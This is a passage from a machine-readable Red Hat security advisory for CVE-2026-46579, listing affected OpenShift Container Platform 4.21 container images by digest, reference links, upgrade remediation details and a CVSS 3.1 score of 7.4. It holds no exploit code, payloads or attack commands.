"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:061015f468b484041f552ddb246024c4b1475aba2be6b5ed529fdb5a1f2e323f_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:b96ddf35d0e8a292d986e81420c93aa885fc455fcaf616a915491095b0caec0e_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:e21d39916b8a2d702c5adc1bcda18c7b6ddd3a9cfc09864e82c0cdf5188b301b_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:f31992f179936b6b55311d2c673b09ed29a27baa8a28ece8859d6d04d09ad81e_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/network-tools-rhel9@sha256:989ff868950ddcfb8dbc15092118c85476be437177b29016e3d6e148c5523334_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/network-tools-rhel9@sha256:b560fc8b23c8d1a7e362ffe84a26413cf5c5be7bae673052f035319f0e76b188_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/network-tools-rhel9@sha256:f1cfd18b9ae0ca40e40e0f941ae8d3215dbe7ba51e2bbd32310017e70eccffa5_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/network-tools-rhel9@sha256:f2031994576d4640f55cf0febf09b4f03ba9eaeaf433c1266a636a1fe2357de7_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:323728d967c18ee9d1c2aa15b1847d0d27cfeb23f75a5f9fa25ae469f35319cf_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:4b96564bdb684813b8fdc7f0257f5586bd3f2f15fa53afaa3a3139beaee71617_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:aa9d5a87e03a61bb8cffaf75b1ee9db23fd6232bc594e1b1152e796083778edd_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:ec6e3caaad9567c2c0e423880f2e7b15f45c8596ee792b784f7fcca05ea28f66_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-node-agent-rhel9@sha256:6bdbe43aebe603002314b78857288bfb37f5bf8cae3a96d0e6b378b53a277312_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-node-agent-rhel9@sha256:938e55ebf1d2297f018f1d67c0105d874c524fdbeb587b7f4901b06ca2e3be34_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-node-agent-rhel9@sha256:99158d48956d3c0ab7d7199136b2c342c49daba19a91d2755ef6ea42c3e23bc0_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-node-agent-rhel9@sha256:9eb40419d902bbcfac7032918098adc7e91db26ebd9a1ecdf294626352d5c4a0_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-ui-rhel9@sha256:14d3506a84c56ce94db20e3ed1763deb9f72d0febc1a7bb2c8c8c6edfb30c9cd_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:08681a7e9dae6792a5897594769beaf151bf52e489378a133886313f8dac398f_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:3fac643abb746b79b89a49fb5d762adac833e3265b83a832cedb3c7254ab6518_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:bd26beeab9ce22eab5cde362ac3610fb83c24d5525075363c50131e8000eb5e8_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:d0095c609b0c0dc6be36865e426e6c97c1793e282ccb150daf5eaea326cc03db_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-azure-file-csi-driver-rhel9@sha256:387e994a39948184388421bc4e2bfdfd604ebb18b0e3fbb209b256ac03cc944f_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-azure-file-csi-driver-rhel9@sha256:865891f674c073eb479be00ea69d4a24546dea11bf1e123b3358dc0dad2836c6_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-baremetal-installer-rhel9@sha256:5d815836e31186ee2438933286395b35c6043986a1c55496f6314dc0aa796ccb_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-baremetal-installer-rhel9@sha256:677b973d8853977b513318ec5acc866a8ff7adbc6c27f02e3f2b3de946104d57_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-baremetal-installer-rhel9@sha256:98c8e94df91ff429ac6b104ac3fbd345273f0bcdcd929f2e38bc64aac6c2b1fd_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-baremetal-installer-rhel9@sha256:af29610cf522f1952006878a267b7bc8c624b0ba975da5bbf8c3b84c23c72d98_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-config-api-rhel9@sha256:14b84478be017b16f2c699ab6248450a9f8862313fc4ef38c23b5ae7bbbd27c5_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-config-api-rhel9@sha256:155201b7a38a18f69000651e3b0ecdcb19815fb0bfe2f7971b7b49b7a626ac5c_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-config-api-rhel9@sha256:9628fc8b3effe793a58cc83f47d8260cbfede603bdbaabd5f4fa78c410f77d57_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-config-api-rhel9@sha256:f879e563271c2bf9c4897a5011e6d153fee9085b93cd1dff3d6ae1ce78db1fca_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:09c3b1dab5e555137dccb0a932b329f64067caf6e3706843b7268d6083ef0854_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:5786d42ae90f710ca41c9cb0dc318fd7a3c40c8a49c922ad5c57fe98d15deb03_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:5e9e2ec5df31d1d37c3faba01952b21b974a3dce50a6bba6b35dd450d1f75fd7_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:e082034afc446c8bb29c7aeac67ded281d931695af8f9dae1fd03ef5c4342252_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:9ce038b5fb35619ac1d518bb904d973a87e54a030bf3350f653d84095d701fea_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:c25cf4db4e05f4759b45b7b46d551396627f6c8b72c62168ad1d9d560f016e1b_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:c8945cfb5c06ce3c0a6b0af2ee6c833a14c2a51c05901a8f18aec232e1705567_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:e3be367267b6667ac1429e9f8dd26835aefa03b22a1dad51a8116ac41ee91e84_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-console-rhel9@sha256:3c78e7b587d9a96d61d64c1a6a09340978d2a075cc34019e45763a7f94d3c7bb_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-console-rhel9@sha256:4ae1938d0303894656d6d0aa0923fe88785632ee55e0ed46553a54ace495cd10_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-console-rhel9@sha256:664d9b418f753e8cdbafb0d22f97bb8c0b2097b4d749ea87bf340cc4cb732b09_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-console-rhel9@sha256:6e4184f47fcf6e187f4c7fac3f1058d575235ca8ec8a118434526ae4a90a9ac8_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-artifacts-rhel9@sha256:1709dde712ec24c1f771a0bbdf70a2fe298b911c8528a2dc9eef2ab258d36788_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-artifacts-rhel9@sha256:3b3ef5d55fb3f63ca291717035f5e076b2bd14921d58be0abd399f590be69de0_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-artifacts-rhel9@sha256:6138073a9b3c5f26146fdacc429b1be38555c25f9cb0934fdfedeedd962e514c_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-artifacts-rhel9@sha256:c14387a983d59f6c8a62e6591e162019c46902bd4bddf922d03e7bcfd16f7c9c_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-rhel9@sha256:0aa5ce159112edf887a68bac028b860f0087344bae6773c0707421fe94efbf83_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-rhel9@sha256:13b892be223845edeedb6df843edc3c84539c0f7b5849cfbdf1431e891f4d387_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-rhel9@sha256:3eb2cd4352f5f3110a6234c599e8ed2e1f028505294043513d8fda46cb30f511_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-rhel9@sha256:936b7bc4d391f06895399ee89aa43b02316e79cf8436fab198c0e485165ff92c_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-ironic-agent-rhel9@sha256:591d0e9a58fbb78cc9bd3a5d2794f4947d1277e2b7ff856ff26c92a15b54ef5d_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-ironic-agent-rhel9@sha256:93b12271a9cbb5386c49bde23a4fd0c418410ade915b89501b67976638f1b394_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-ironic-machine-os-downloader-rhel9@sha256:8106794a91fc7f08da90c997df3f00b9044782e81b6cda20580b17367588df15_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-ironic-machine-os-downloader-rhel9@sha256:f6ddc9d891309a979c07a9d2462fcaa62af6912a1cbb8f986e678c79b29d7b2e_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-ironic-rhel9@sha256:6a4410c46718fe6010fad0d6c6b578a2347e61c687da6fa8e6f9220c18085c38_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-ironic-rhel9@sha256:cb1bbd2c6ebdc80d0b55b9e24af9afe0e9147c0d56d4ccb2e06910c339aad92d_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:4b531989cffbba08feb30500f836332f2ac5e05f67f5b0d3466344ca56844234_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:97e86b1ec0fb8c9320b643ceb46cee693d78059db2251e96ea48acbc3e8d77d4_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:b7d65cce3142f1e692c846b05a2cb737c1de760815dd003a4eb14c42bc381684_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:ce8035f8ddf2521152896e41e088e5f69ccb62db3ca6f3bff461b1fcfd002e66_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-os-images-rhel9@sha256:1fa798e8929bf9ca5a0248df695a7bd9e4a9800fa3a49aa6c711f5460452303b_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-os-images-rhel9@sha256:25649934df8b81bb967c2714cd0151acf22a59f0e1ba25f0f564803cf86a2c53_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-os-images-rhel9@sha256:37e366676577cd3c67828c64542540ddbf1bd3866538841a844a34096ad4bc97_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-os-images-rhel9@sha256:6d23762eeb123e9150385fd77695841aa2fbc22e0eafd5ccbd31b17b31d043ee_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:214a54e1cdab555aca4d89ba2ae3dd825cca158cb1d74271d1a21c5d385647d4_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:51cbcaa1d10ded9608c0b17dcb99d77786586edf4a5db92e8205075129ec6318_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:9dc9ccd011217972cef70a48af37278716c9ce47ed6d0a5d8686a3ac607c0a64_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:eda11e652e4e330f3cdd881504b4886fec1c7efb74be88252e3ac906a5964044_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:2cfba758f3448568e6f844a2c380de62c2d84d2d21c7033a91bab994994fb28d_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:62b9725f0852dfa627d030aee5dd8b3259e84a6f0087d3c970a08361b85ecc01_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:adb184389c661980ee1274a3eddf64221101465bc12c83895f981721508f18c3_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:dbf3bf45e958c3e521cd2f1965ed1f6eed1edc7ad1b2ce22be9930d9fdddf21f_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:5c543b465d9c53c8f34458a00e7f74586d91333301770e21054ce7120fa0e8a1_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:a1602d42232b96a0a9ce2f8cf5a809e80e9a9f4752c6845342af7dbb94729070_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:d9cda770f446e132541a740719fda07af700f1ce372a608bde61fb84e42afa2d_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:f680ee32b9ead50a2b09c43405f3e20763b99025ac3f2a186bf6aa56d41425c5_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:1bed594d53537de5cec4d21ec152a8cf769cbcc4a300c233331e79b62d2cfe31_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:6a1c00c60c999234bd4ccd8131ba9ea9d6875bdfb889dccf8db5948d41238110_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:a0192fc0b5ece7d29fe95bd1bcca4cfb98c3540fc0c7a365da6a0ddce097fa41_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:d3ee62e979e6dbfbb846eb60a52d8fa95bfa59a42ccca5cba925d2380c7f96b4_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-vsphere-problem-detector-rhel9@sha256:4117dc54a8f501a6bc579b22cc8ad5ad0360ba54bbe8c8453d11dbdac480f4f7_amd64"
]
},
"references": [
{
"category": "self",
"summary": "Canonical URL",
"url": "https://access.redhat.com/security/cve/CVE-2026-46579"
},
{
"category": "external",
"summary": "RHBZ#2483181",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2483181"
},
{
"category": "external",
"summary": "https://www.cve.org/CVERecord?id=CVE-2026-46579",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-46579"
},
{
"category": "external",
"summary": "https://nvd.nist.gov/vuln/detail/CVE-2026-46579",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-46579"
}
],
"release_date": "2026-04-17T20:10:23+00:00",
"remediations": [
{
"category": "vendor_fix",
"date": "2026-06-23T08:24:00+00:00",
"details": "For OpenShift Container Platform 4.21 see the following documentation, which will be updated shortly for this release, for important instructions on how to upgrade your cluster and fully apply this asynchronous errata update:\n\nhttps://docs.redhat.com/en/documentation/openshift_container_platform/4.21/html/release_notes/\n\nYou may download the oc tool and use it to inspect release image metadata for x86_64, s390x, ppc64le, and aarch64 architectures. The image digests may be found at https://quay.io/repository/openshift-release-dev/ocp-release?tab=tags.\n\nThe sha values for the release are as follows:\n\n (For x86_64 architecture)\n The image digest is sha256:7224f77afb20aedaf82bfc13ca11699689bd5b06795d6d1740dbd4c265150c44\n\n (For s390x architecture)\n The image digest is sha256:73811451efed403727e561f1ffadc1936c71bbefbae526fcea86a88fe23473f2\n\n (For ppc64le architecture)\n The image digest is sha256:05cb0b4804507c0b5e7923b7c6bcf293bd4e2d0f476c8ec6d13b179eb3157b42\n\n (For aarch64 architecture)\n The image digest is sha256:fd193bcd1042c3f17c33e7668d7b9866b915ac07075e6c2e35b0fe396bfd9a51\n\nAll OpenShift Container Platform 4.21 users are advised to upgrade to these updated packages and images when they are available in the appropriate release channel. To check for available updates, use the OpenShift CLI (oc) or web console. Instructions for upgrading a cluster are available at https://docs.redhat.com/en/documentation/openshift_container_platform/4.21/html-single/updating_clusters/index#updating-cluster-cli.",
"product_ids": [
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:0bab4308f7c309a814f712e39607196d35b40db9dd4616a5d9cca862dd9bebc6_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:1ff44c8741a46e16c5511cb5d4fea1706578ff9aa4115481b018b145d1e90aca_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:366ab14ae5460ad0052c556eb30665873a0eb5e164674b56292dd8af70d74807_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:75daf2f2d96d1122e7f6b8fcab558c5d147d812e418107c0b2c16d1b80aa8c59_amd64"
],
"restart_required": {
"category": "none"
},
"url": "https://access.redhat.com/errata/RHSA-2026:27044"
}
],
"scores": [
{
"cvss_v3": {
"attackComplexity": "HIGH",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 7.4,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N",
"version": "3.1"
},
"products": [
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:061015f468b484041f552ddb246024c4b1475aba2be6b5ed529fdb5a1f2e323f_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:b96ddf35d0e8a292d986e81420c93aa885fc455fcaf616a915491095b0caec0e_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:e21d39916b8a2d702c5adc1bcda18c7b6ddd3a9cfc09864e82c0cdf5188b301b_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:f31992f179936b6b55311d2c673b09ed29a27baa8a28ece8859d6d04d09ad81e_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/network-tools-rhel9@sha256:989ff868950ddcfb8dbc15092118c85476be437177b29016e3d6e148c5523334_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/network-tools-rhel9@sha256:b560fc8b23c8d1a7e362ffe84a26413cf5c5be7bae673052f035319f0e76b188_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/network-tools-rhel9@sha256:f1cfd18b9ae0ca40e40e0f941ae8d3215dbe7ba51e2bbd32310017e70eccffa5_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/network-tools-rhel9@sha256:f2031994576d4640f55cf0febf09b4f03ba9eaeaf433c1266a636a1fe2357de7_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:323728d967c18ee9d1c2aa15b1847d0d27cfeb23f75a5f9fa25ae469f35319cf_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:4b96564bdb684813b8fdc7f0257f5586bd3f2f15fa53afaa3a3139beaee71617_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:aa9d5a87e03a61bb8cffaf75b1ee9db23fd6232bc594e1b1152e796083778edd_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:ec6e3caaad9567c2c0e423880f2e7b15f45c8596ee792b784f7fcca05ea28f66_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-node-agent-rhel9@sha256:6bdbe43aebe603002314b78857288bfb37f5bf8cae3a96d0e6b378b53a277312_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-node-agent-rhel9@sha256:938e55ebf1d2297f018f1d67c0105d874c524fdbeb587b7f4901b06ca2e3be34_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-node-agent-rhel9@sha256:99158d48956d3c0ab7d7199136b2c342c49daba19a91d2755ef6ea42c3e23bc0_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-node-agent-rhel9@sha256:9eb40419d902bbcfac7032918098adc7e91db26ebd9a1ecdf294626352d5c4a0_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-ui-rhel9@sha256:14d3506a84c56ce94db20e3ed1763deb9f72d0febc1a7bb2c8c8c6edfb30c9cd_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:08681a7e9dae6792a5897594769beaf151bf52e489378a133886313f8dac398f_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:3fac643abb746b79b89a49fb5d762adac833e3265b83a832cedb3c7254ab6518_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:bd26beeab9ce22eab5cde362ac3610fb83c24d5525075363c50131e8000eb5e8_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:d0095c609b0c0dc6be36865e426e6c97c1793e282ccb150daf5eaea326cc03db_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-azure-file-csi-driver-rhel9@sha256:387e994a39948184388421bc4e2bfdfd604ebb18b0e3fbb209b256ac03cc944f_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-azure-file-csi-driver-rhel9@sha256:865891f674c073eb479be00ea69d4a24546dea11bf1e123b3358dc0dad2836c6_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-baremetal-installer-rhel9@sha256:5d815836e31186ee2438933286395b35c6043986a1c55496f6314dc0aa796ccb_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-baremetal-installer-rhel9@sha256:677b973d8853977b513318ec5acc866a8ff7adbc6c27f02e3f2b3de946104d57_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-baremetal-installer-rhel9@sha256:98c8e94df91ff429ac6b104ac3fbd345273f0bcdcd929f2e38bc64aac6c2b1fd_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-baremetal-installer-rhel9@sha256:af29610cf522f1952006878a267b7bc8c624b0ba975da5bbf8c3b84c23c72d98_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-config-api-rhel9@sha256:14b84478be017b16f2c699ab6248450a9f8862313fc4ef38c23b5ae7bbbd27c5_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-config-api-rhel9@sha256:155201b7a38a18f69000651e3b0ecdcb19815fb0bfe2f7971b7b49b7a626ac5c_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-config-api-rhel9@sha256:9628fc8b3effe793a58cc83f47d8260cbfede603bdbaabd5f4fa78c410f77d57_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-config-api-rhel9@sha256:f879e563271c2bf9c4897a5011e6d153fee9085b93cd1dff3d6ae1ce78db1fca_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:09c3b1dab5e555137dccb0a932b329f64067caf6e3706843b7268d6083ef0854_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:5786d42ae90f710ca41c9cb0dc318fd7a3c40c8a49c922ad5c57fe98d15deb03_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:5e9e2ec5df31d1d37c3faba01952b21b974a3dce50a6bba6b35dd450d1f75fd7_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:e082034afc446c8bb29c7aeac67ded281d931695af8f9dae1fd03ef5c4342252_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:9ce038b5fb35619ac1d518bb904d973a87e54a030bf3350f653d84095d701fea_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:c25cf4db4e05f4759b45b7b46d551396627f6c8b72c62168ad1d9d560f016e1b_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:c8945cfb5c06ce3c0a6b0af2ee6c833a14c2a51c05901a8f18aec232e1705567_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:e3be367267b6667ac1429e9f8dd26835aefa03b22a1dad51a8116ac41ee91e84_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-console-rhel9@sha256:3c78e7b587d9a96d61d64c1a6a09340978d2a075cc34019e45763a7f94d3c7bb_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-console-rhel9@sha256:4ae1938d0303894656d6d0aa0923fe88785632ee55e0ed46553a54ace495cd10_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-console-rhel9@sha256:664d9b418f753e8cdbafb0d22f97bb8c0b2097b4d749ea87bf340cc4cb732b09_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-console-rhel9@sha256:6e4184f47fcf6e187f4c7fac3f1058d575235ca8ec8a118434526ae4a90a9ac8_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:0bab4308f7c309a814f712e39607196d35b40db9dd4616a5d9cca862dd9bebc6_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:1ff44c8741a46e16c5511cb5d4fea1706578ff9aa4115481b018b145d1e90aca_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:366ab14ae5460ad0052c556eb30665873a0eb5e164674b56292dd8af70d74807_s390x",
